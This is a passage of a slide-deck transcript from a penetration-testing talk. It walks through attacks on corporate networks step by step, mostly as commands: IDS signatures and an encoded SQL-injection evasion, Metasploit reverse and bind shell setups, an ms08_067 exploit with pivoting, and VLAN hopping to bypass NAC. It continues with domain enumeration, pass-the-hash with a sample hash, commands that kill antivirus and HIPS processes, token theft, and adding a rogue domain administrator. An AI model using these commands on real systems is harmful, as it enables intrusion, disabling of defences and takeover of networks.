  • 61. Signature Based IDS (6 – 7) Signature 6 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, established; pcre:”/(s|%73)(e|%65)(l|%6C)(e|%65)(c|%63)(t|%74).*(f|%66)(r|%72)(o|%6F)(m|%6D).*(--|/*|#)/i”; sid: 2; rev2;) Signature 7 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, established; pcre:”/(s|%73|%53)(e|%65|%45)(l|%6C|%4C)(e|%65|%45)(c|%63|%43)(t|%74|%45).*(f|%66|%46)(r|%72|%52)(o| %6F|%4F)(m|%6D|%4D).*(--|/*|#)/i”; sid: 2; rev: 3;) At least signature 7 takes into account case sensitivity with hex encoding. But..... There are always other encoding types that the attacker can use... Strategic Security, Inc. © http://www.strategicsec.com/
  • 62. Practice Your Kung Fu: PHPIDS Strategic Security, Inc. © http://www.strategicsec.com/
  • 63. Practice Your Kung Fu: PHPIDS Strategic Security, Inc. © http://www.strategicsec.com/
  • 64. Signature Based IDS The real trick for each of these techniques is to understand that this is just like IDS evasion in the service based exploitation side of the house. You have to make sure that your attack actually works. It's easy to bypass an IDS, but you can just as easily end up with your attack bypassing the IDS, but not working at all. With this in mind you can mix/match the IDS evasion tricks - it's just a matter of understanding the regex in use. http://[site]/page.asp?id=2%20or%202%20in%20(/*IDS*/%73/*evasion*/%65/*is*/ %6C/*easy*/%65/*just*/%63/*ask*/%74/*j0e*/%20%75/*to*/%73/*teach*/%65/*you*/ %72/*how*/)%2D%2D What is passed to the db http://[site]/page.asp?id=2 or 2 in (select user)-- in comments ("IDS evasion is easy just ask j0e to teach you how") Strategic Security, Inc. © http://www.strategicsec.com/
  • 65. Getting in via client-side sudo ./msfconsole Be sure to run as root so you can set the LPORT to 443 use exploit/[name of newest browser, PDF, ActiveX, or fileformat exploit] set PAYLOAD windows/meterpreter/reverse_tcp set ExitOnSession false set LHOST [your public ip] set LPORT 443 exploit -j Strategic Security, Inc. © http://www.strategicsec.com/
  • 66. SET is some next level shit svn co http://svn.thepentest.com/social_engineering_toolkit/ SET/ Strategic Security, Inc. © http://www.strategicsec.com/
  • 67. Pivoting into the LAN Pivot Attack: Using a compromised host as a launching point to attack other hosts... ......set up standard exploit exploit route ctrl-z <-- background the session back <--- you need to get to main msf> prompt Now set up Pivot with a route add route add 192.168.10.131 255.25.255.0 1 <-- Use correct session id route print <----- verify use exploit/windows/smb/ms08_067_dcom set PAYLOAD windows/shell/bind_tcp set RHOST 192.168.10.132 set LPORT 1234 ctrl-z <-- background the session back <--- you need to get to main msf> prompt Run auxillaries & exploits through your pivot use scanner/smb/version set RHOSTS 192.168.10.1/24 run Strategic Security, Inc. © http://www.strategicsec.com/
  • 68. Common LAN Security Solutions Can’t get on the network????? 1. NO DHCP – static IP addresses 2. DHCP MAC Address reservations 3. Port Security 4. NAC solution Strategic Security, Inc. © http://www.strategicsec.com/
  • 69. Common LAN Security Solutions Can’t get on the network????? 1. NO DHCP – static IP addresses • Steal valid IP address from host 2. DHCP MAC Address reservations • Steal valid MAC address 3. Port Security • Steal valid MAC/IP address 4. NAC solution • Look for 802.1x exceptions such as printers, VoIP phones Strategic Security, Inc. © http://www.strategicsec.com/
  • 70. Bypassing NAC Solutions Can’t get on the network????? Jump into the voice VLAN wget http://www.candelatech.com/~greear/vlan/vlan.1.9.tar.gz tar -zxvf vlan.1.9.tar.gz cd vlan tshark -i eth0 -v -v "ether host 01:00:0c:cc:cc:cc and (ether[24:2] = 0x2000 or ether[20:2] = 0x2000)" | grep voice vconfig add eth0 200 # 200 is Voice VLAN ID in this example ifconfig eth0.200 # Verify new interface was created dhcpd -d -t 10 eth0.200 # Try to get dhcp or Voiphopper voiphopper.sourceforge.net/ Strategic Security, Inc. © http://www.strategicsec.com/
  • 71. Enumerating The Internal Network Against NIPS/HIPS c:set Use SET to get domain information and username c:net view Use NET VIEW to get computers in the users domain and other domains c:net view /domain Use NET VIEW to get computers in other domains c:net user Use NET USER to get local users on the computer you are on c:net user /domain All users in the current user's domain c:net localgroup Use NET LOCALGROUP to get the local groups on the computer c:net localgroup /domain Use NET LOCALGROUP to get the domain groups c:net localgroup administrators All users in the local administrators group c:net localgroup administrators /domain All users in the domain administrators group c:net group "Company Admins" /domain All users in the "Company Admins" group c:net user "joe.mccray" /domain All info about this user c:nltest /dclist: List Domain Controllers... Basically browsing network neighborhood, and querying Active Directory will always be considered legitimate traffic to an NIPS so you can use NET commands to enumerate a network without port scanning. Strategic Security, Inc. © http://www.strategicsec.com/
  • 72. Looking Around the Network For A User Some commands to identify a logged in user NBTSTAT -a remotecomputer | FIND "<03>" | FIND /I /V "remotecomputer" WMIC /Node:remotecomputer ComputerSystem Get UserName PSLOGGEDON -L remotecomputer PSEXEC remotecomputer NET CONFIG WORKSTATION | FIND /I " name " PSEXEC remotecomputer NET NAME PSEXEC remotecomputer NETSH DIAG SHOW COMPUTER /V | FIND /i "username" Strategic Security, Inc. © http://www.strategicsec.com/
  • 73. Moving Around The Network Smoking some MSF hash: Moving around the network using password hashes use exploit/windows/smb/psexec set RHOST 192.168.10.20 set SMBUser administrator set SMBPass 01fc5a6be7bc6929aad3b435b51404ee:0cb6948805f797bf2a82807973b89537 set PAYLOAD windows/shell/reverse_tcp set LHOST 192.168.10.10 exploit Strategic Security, Inc. © http://www.strategicsec.com/
  • 74. Killing The HIPS (as SYSTEM with “at” command) 1. Stop the overall AV Framework net stop "McAfee Framework Service" 2. Stop the HIPS net stop hips net stop enterceptagent net stop firepm 3. McAfee Processes pskill -t UdaterUI pskill -t TBMon pskill -t Mcshield pskill -t VsTskMgr pskill -t shstat 4. HIPS Processes pskill -t firetray 5. Unload the EPO HIPS DLL regsvr32 -u fireepo.dll Strategic Security, Inc. © http://www.strategicsec.com/
  • 75. Killing The HIPS (as SYSTEM with Metasploit) 1. Stop the overall AV Framework net stop "McAfee Framework Service" 2. Stop the HIPS net stop hips net stop enterceptagent net stop firepm 3. McAfee Processes pskill -t UdaterUI pskill -t TBMon pskill -t Mcshield pskill -t VsTskMgr pskill -t shstat 4. HIPS Processes pskill -t firetray 5. Unload the EPO HIPS DLL regsvr32 -u fireepo.dll Strategic Security, Inc. © http://www.strategicsec.com/
  • 76. Owning The Domain Stealing a domain administrator's token.... meterpreter> use incognito meterpreter> list_tokens -u meterpreter> impersonate_token "domainuser" meterpreter> execute -c -H -f cmd -a "/k" -i -t <--- Use the -t to use your impersonated token or meterpreter > list_tokens -g meterpreter > impersonate_token "DOMAINDomain Admins" meterpreter> execute -c -H -f cmd -a "/k" -i -t <--- Use the -t to use your impersonated token Add yourself to the Domain Admin's group c:net user j0e j0eR0ck$ /domain /add c:net localgroup administrators j0e /domain /add Strategic Security, Inc. © http://www.strategicsec.com/
  • 77. Holla @ Me.... Toll Free: 1-866-892-2132 Email: [email protected] Twitter: http://twitter.com/j0emccray Slideshare: http://www.slideshare.net/joemccray LinkedIn: http://www.linkedin.com/in/joemccray Strategic Security, Inc. © http://www.strategicsec.com/